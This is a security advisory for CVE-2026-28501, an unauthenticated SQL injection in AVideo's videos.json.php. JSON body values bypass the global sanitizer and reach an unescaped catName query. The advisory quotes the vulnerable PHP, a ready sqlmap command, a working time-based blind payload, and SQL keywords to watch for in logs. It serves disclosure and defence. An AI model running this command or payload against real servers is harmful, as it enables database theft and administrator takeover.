Overview

AVideo, an open-source video streaming platform maintained by WWBN, ships with a global sanitization routine (includeSecurityChecks()) that normalizes $_GET, $_POST, and $_REQUEST before any endpoint logic runs.

The unauthenticated objects/videos.json.php endpoint then re-populates $_REQUEST from the raw JSON request body after that pass has already finished, smuggling attacker-controlled values past the sanitizer.


Vulnerability Details

Field Value
CVE ID CVE-2026-28501
Severity Critical
CVSS 3.1 Score 9.8
EPSS 20.925%
Affected Versions wwbn/avideo < 24.0
Attack Vector Network, HTTP POST with Content-Type: application/json
Authentication Required None
Published February 28, 2026

Technical Breakdown

The bug is not a single oversight, but an interaction between two components that are each internally consistent but incompatible at the boundary.

Global sanitization runs early

Every request to AVideo pulls in videos/configuration.php, which immediately requires the global configuration file::

// videos/configuration.php
require_once $global['systemRootPath'].'objects/include_config.php';

That file calls includeSecurityChecks(), which walks through $_GET, $_POST, and $_REQUEST and applies the project's sanitization rules to every value. At this point, any SQL metacharacters delivered through standard URL-encoded parameters are neutralized.

The endpoint re-populates $_REQUEST with raw JSON

The endpoint objects/videos.json.php is the JSON feed used by the front-end to list videos. Before serving the feed, it invokes a helper that attempts to establish a session from the request body, even for unauthenticated visitors.

// objects/videos.json.php
User::loginFromRequestIfNotLogged();

loginFromRequestIfNotLogged() unconditionally forwards into loginFromRequest(), which begins by calling inputToRequest():

// objects/user.php
public static function loginFromRequestIfNotLogged()
{
    // ...
    return self::loginFromRequest();
}

public static function loginFromRequest()
{
    inputToRequest();
    // ...
}

inputToRequest() is the actual sink-feeder. It reads php://input, JSON-decodes it, and copies every key/value pair straight into $_REQUEST:

// objects/functions.php
function inputToRequest()
{
    $content = file_get_contents("php://input");
    if (!empty($content)) {
        $json = json_decode($content);
        if (empty($json)) {
            return false;
        }
        foreach ($json as $key => $value) {
            if (!isset($_REQUEST[$key])) {
                $_REQUEST[$key] = $value; // [!] raw, unsanitized
            }
        }
    }
}

Since includeSecurityChecks() has already completed execution by the time inputToRequest() is invoked, any attacker-controlled key not previously present in $_REQUEST is introduced after the sanitization phase.

As a result, the assumption that values read from $_REQUEST are always sanitized no longer applies to parameters delivered via JSON request bodies.

The sink concatenates the tainted value into SQL

Video::getAllVideos() delegates category filtering to Video::getCatSQL(), which reads catName straight out of $_REQUEST and concatenates it into the query string without prepared statements:

// objects/video.php
static function getCatSQL()
{
    $catName = @$_REQUEST['catName'];
    $sql = '';
    if (!empty($catName)) {
        if (!is_array($catName)) {
            $catName = [$catName];
        }
        $sqls = [];
        foreach ($catName as $value) {
            if (empty($_REQUEST['doNotShowCats'])) {
                $sqlText = " (c.clean_name = '{$value}' "; // [!] SQLi
                if (empty($_REQUEST['doNotShowCatChilds'])) {
                    $sqlText .= " OR c.parentId IN (SELECT cs.id from categories cs where cs.clean_name = '{$value}' )";
                }
                $sqlText .= " )";
                $sqls[] = $sqlText;
            } else {
                $sqlText = " (c.clean_name != '{$value}' )";
                $sqls[] = $sqlText;
            }
        }
        // ...

{$value} lands inside single quotes with no escaping. An attacker who can place a value into $REQUEST['catName'], which JSON smuggling now allows pre-auth, controls the SQL statement executed against the videos table's category join.


Exploitation

Confirming the injection requires a single HTTP request. The content type must be application/json so that PHP's file_get_contents("php://input") returns a body that json_decode() will accept.

sqlmap one-shot

sqlmap -u "https://[target.host]/objects/videos.json.php" \
       --data '{"catName": "music"}' \
       --method POST -p catName \
       --dbms MySQL --technique=T \
       --level 5 --risk 3 --batch --force-ssl --threads=10

sqlmap confirms a time-based blind payload from an unauthenticated perspective, without any prior session, login attempt, or credentials.

Parameter: JSON catName ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"catName": "music') AND (SELECT 5067 FROM (SELECT(SLEEP(5)))lCAk) AND ('oavw'='oavw"}

This output demonstrates an unauthenticated, time-based blind SQL injection through the catName JSON parameter, allowing arbitrary data extraction from the underlying MySQL database.


Impact

  • Full Database Read: A single unauthenticated HTTP request reads any column of any table accessible to the AVideo database user.
  • Administrator Takeover: Unsalted MD5 password hashes and live session identifiers in users.password enable trivial offline cracking or direct session replay.
  • High Exploitation Likelihood: CVSS 9.8 with an EPSS score in the 96th percentile reflects how low-effort and reliable this attack is to carry out in practice.

Mitigation & Remediation

  • Upgrade Immediately: Patch any AVideo deployment in the affected version range above to release tag 24.0, which ships the upstream fix in commit WWBN/AVideo@0c10be6. No partial workaround is published by the vendor.
  • Rotate Credentials & Sessions: Reset administrator passwords and invalidate all active sessions, assume any exposed pre-24.0 instance is compromised.
  • Audit Logs: Monitor for POST requests to /objects/videos.json.php whose catName field contains ', SLEEP(, SELECT, UNION, or BENCHMARK(, or that exhibit response times far above the endpoint's normal sub-second baseline.

References